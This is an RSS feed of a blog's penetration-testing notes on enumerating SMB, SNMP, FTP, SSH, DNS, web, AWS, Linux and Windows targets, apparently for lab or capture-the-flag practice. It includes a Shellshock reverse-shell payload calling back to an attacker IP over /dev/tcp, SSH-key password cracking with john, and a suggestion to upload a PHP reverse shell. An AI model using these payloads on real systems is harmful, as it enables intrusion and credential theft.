<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Enumeration on Garrettoh&#39;s Research / Blog</title>
    <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/</link>
    <description>Recent content in Enumeration on Garrettoh&#39;s Research / Blog</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <atom:link href="https://garrettoh.dev/notes/500-hacking/01_enumeration/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/139_445_smb/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/139_445_smb/</guid>
      <description>&lt;p&gt;List Shares &lt;code&gt;net share&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;smb-enumeration-445-139&#34;&gt;SMB Enumeration (445, 139)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Check Shares (Null Session)&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;smbclient -L //&amp;lt;IP&amp;gt; -N&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;User Enumeration&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;enum4linux-ng -A &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;crackmapexec smb &amp;lt;IP&amp;gt; --users&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Detailed Share Access&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;smbmap -H &amp;lt;IP&amp;gt;&lt;/code&gt; (Check for READ/WRITE permissions)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Download Files&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;smbclient //&amp;lt;IP&amp;gt;/&amp;lt;SHARENAME&amp;gt;&lt;/code&gt; -&amp;gt; &lt;code&gt;recurse ON&lt;/code&gt;, &lt;code&gt;prompt OFF&lt;/code&gt;, &lt;code&gt;mget *&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Follow-up checks:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;EternalBlue (MS17-010):&lt;/strong&gt; Check with &lt;code&gt;nmap --script smb-vuln-ms17-010 -p 445 &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;PrintNightmare:&lt;/strong&gt; If you have low-priv credentials.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sensitive Data:&lt;/strong&gt; Look for &lt;code&gt;web.config&lt;/code&gt;, &lt;code&gt;settings.json&lt;/code&gt;, or &lt;code&gt;.txt&lt;/code&gt; files containing passwords.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;references&#34;&gt;References&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html&#34;&gt;HackTricks: SMB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/161_snmp/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/161_snmp/</guid>
      <description>&lt;h2 id=&#34;snmp-enumeration-161-udp&#34;&gt;SNMP Enumeration (161 UDP)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Community String Guessing&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Full Walk (Look for Users/Processes)&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;snmpwalk -v2c -c public &amp;lt;IP&amp;gt; 1.3.6.1.2.1.25.4.2.1.2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Check for Software Versions&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;snmp-check &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Follow-up checks:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extracting cleartext passwords from running process parameters.&lt;/li&gt;&#xA;&lt;li&gt;Finding internal network info or hostnames for further pivoting.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;references&#34;&gt;References&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-snmp/index.html&#34;&gt;HackTricks: SNMP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/21_ftp/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/21_ftp/</guid>
      <description>&lt;h2 id=&#34;ftp-enumeration-21&#34;&gt;FTP Enumeration (21)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Anonymous Access&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;ftp &amp;lt;IP&amp;gt;&lt;/code&gt; (User: &lt;code&gt;anonymous&lt;/code&gt; | Pass: &lt;code&gt;anonymous&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Binary Mode Check&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Use &lt;code&gt;binary&lt;/code&gt; command before downloading &lt;code&gt;.exe&lt;/code&gt; or &lt;code&gt;.zip&lt;/code&gt; files.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Browser View&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Navigate to &lt;code&gt;ftp://&amp;lt;IP&amp;gt;&lt;/code&gt; (Check for hidden files like &lt;code&gt;.ssh/id_rsa&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Follow-up checks:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;CVE-2010-4221:&lt;/strong&gt; ProFTPD exploit.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Backdoors:&lt;/strong&gt; vsftpd 2.3.4 (The &amp;ldquo;smiling face&amp;rdquo; exploit).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Write Access:&lt;/strong&gt; If you can upload a file, try a PHP reverse shell if port 80 is also open.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;references&#34;&gt;References&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/index.html&#34;&gt;HackTricks: FTP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/22_ssh/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/22_ssh/</guid>
      <description>&lt;p&gt;Using a private key&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;chmod &lt;span class=&#34;m&#34;&gt;600&lt;/span&gt; id_ed25519&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh -i id_ed25519 user@target&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cracking passwords&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ssh2john id_ed25519 &amp;gt; hash.hash &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; sleep &lt;span class=&#34;m&#34;&gt;2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; john --wordlist&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.hash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/53_dns/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/53_dns/</guid>
      <description>&lt;p&gt;Using dig to complete a domain transfer&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;dig -t AXFR DOMAIN_NAME @DNS_SERVER&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/80_443_web/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/80_443_web/</guid>
      <description>&lt;h2 id=&#34;web-enumeration-80-443-8080&#34;&gt;Web Enumeration (80, 443, 8080)&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Manual Inspection&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check &lt;code&gt;robots.txt&lt;/code&gt; and &lt;code&gt;/sitemap.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; View Source (Look for `` and Dev notes)&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Check SSL Certificate (Look for subdomains/emails)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Directory Brute Force&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;feroxbuster -u http://&amp;lt;IP&amp;gt; -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Vulnerability Scanning&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;code&gt;nikto -h http://&amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;CMS Identification&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; Wappalyzer (Browser) or &lt;code&gt;whatweb &amp;lt;IP&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; If WP: &lt;code&gt;wpscan --url http://&amp;lt;IP&amp;gt; -e u,vp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;shellshock-cgi-bin-check&#34;&gt;Shellshock (CGI-BIN) Check&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Find CGI Scripts:&lt;/strong&gt; Search for &lt;code&gt;/cgi-bin/&lt;/code&gt; directories and files ending in &lt;code&gt;.sh&lt;/code&gt;, &lt;code&gt;.cgi&lt;/code&gt;, or &lt;code&gt;.pl&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Manual Test (Ping/Echo):&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;curl -H &amp;quot;User-Agent: () { :; }; echo; /usr/bin/id&amp;quot; http://&amp;lt;IP&amp;gt;/cgi-bin/test.sh&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;input disabled=&#34;&#34; type=&#34;checkbox&#34;&gt; &lt;strong&gt;Reverse Shell Payload:&lt;/strong&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;curl -H &amp;quot;User-Agent: () { :; }; /bin/bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;YOUR_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1&amp;quot; http://&amp;lt;IP&amp;gt;/cgi-bin/test.sh&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;strong&gt;Other checks:&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/aws/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/aws/</guid>
      <description>&lt;p&gt;If you get access to AWS you might be able to find some next clues&lt;/p&gt;&#xA;&lt;p&gt;You can use AWS via the command line like so&lt;/p&gt;&#xA;&lt;p&gt;![[AWS.png]]&lt;/p&gt;&#xA;&lt;p&gt;In this case we utilized AWS to gather the ssh key that we then used to crack if we want to download files on this machine the commands will be listed below&lt;/p&gt;&#xA;&lt;h2 id=&#34;key-commands&#34;&gt;Key commands&lt;/h2&gt;&#xA;&lt;p&gt;Setting up a profile (we use this to authenticate)&#xA;&lt;code&gt;aws configure --profile $profilename$&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/initial-recon/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/initial-recon/</guid>
      <description>&lt;h2 id=&#34;network-discovery&#34;&gt;Network Discovery&lt;/h2&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nmap -p- -Pn $target -v --min-rate 1000 --max-rtt-timeout 1000ms --max-retries 5 -oN nmap_ports.txt &amp;amp;&amp;amp; sleep 5 &amp;amp;&amp;amp; nmap -Pn $target -sV -sC -v -oN nmap_sVsC.txt &amp;amp;&amp;amp; sleep 5 &amp;amp;&amp;amp; nmap -T5 -Pn $target -v --script vuln -oN nmap_vuln.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;rustscan &amp;ndash;ulimit 5000 -a $target &amp;ndash; -sC -sV -Pn -oN nmap_full&lt;/p&gt;&#xA;&lt;h3 id=&#34;web-content-discovery&#34;&gt;Web Content Discovery&lt;/h3&gt;&#xA;&lt;h4 id=&#34;directory-brute-forcing&#34;&gt;Directory Brute Forcing&lt;/h4&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Raft Large Directories:&lt;/strong&gt; &lt;code&gt;gobuster dir -u http://$target -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 50 -o gb_dirs.txt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Directory List 2.3 Medium:&lt;/strong&gt; &lt;code&gt;gobuster dir -u http://$target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -o gb_dirs2.txt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;file-discovery&#34;&gt;File Discovery&lt;/h4&gt;&#xA;&lt;p&gt;Searching for specific extensions (php, asp, xml, html, js, sql, gz, zip).&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/linux-enumeration-commands/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/linux-enumeration-commands/</guid>
      <description>&lt;p&gt;System info &lt;code&gt;ls /etc/*-release&lt;/code&gt;&#xA;Hostname: &lt;code&gt;hostname&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;User binaries  &lt;code&gt;ls -lh /usr/bin&lt;/code&gt;&#xA;System Binaries  &lt;code&gt;ls -lh /usr/sbin&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;User Enumeration : &lt;code&gt;cat /etc/passwd&lt;/code&gt;&#xA;Who is logged in &lt;code&gt;who&lt;/code&gt;&#xA;Who is logged in and what are they doing: &lt;code&gt;w&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Who last accessed the system &lt;code&gt;last&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;What DNS server &lt;code&gt;cat /etc/resolve.conf&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;What processes are being run (tree) &lt;code&gt;ps axjf&lt;/code&gt;&#xA;What processes are being run (search) &lt;code&gt;ps aux | grep -i &#39;&#39;&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/01_enumeration/windows-enumeration-commands/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/01_enumeration/windows-enumeration-commands/</guid>
      <description>&lt;p&gt;Gather System information &lt;code&gt;systeminfo&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Check installed updates &lt;code&gt;wmic qfe get Caption,Description&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Check Services &lt;code&gt;net start&lt;/code&gt;&#39;&lt;/p&gt;&#xA;&lt;p&gt;Installed apps &lt;code&gt;wmic product get name,version,vendor&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;See the user and privileges &lt;code&gt;whoami /priv&lt;/code&gt;&#xA;User groups &lt;code&gt;whoami /groups&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enumerate users &lt;code&gt;net user&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enumerate groups &lt;code&gt;net group&lt;/code&gt; or &lt;code&gt;net localgroup&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enumerate users in a group &lt;code&gt;net localgroup administrators&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;View active connections with PID and Name &lt;code&gt;netstat -abno&lt;/code&gt;&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
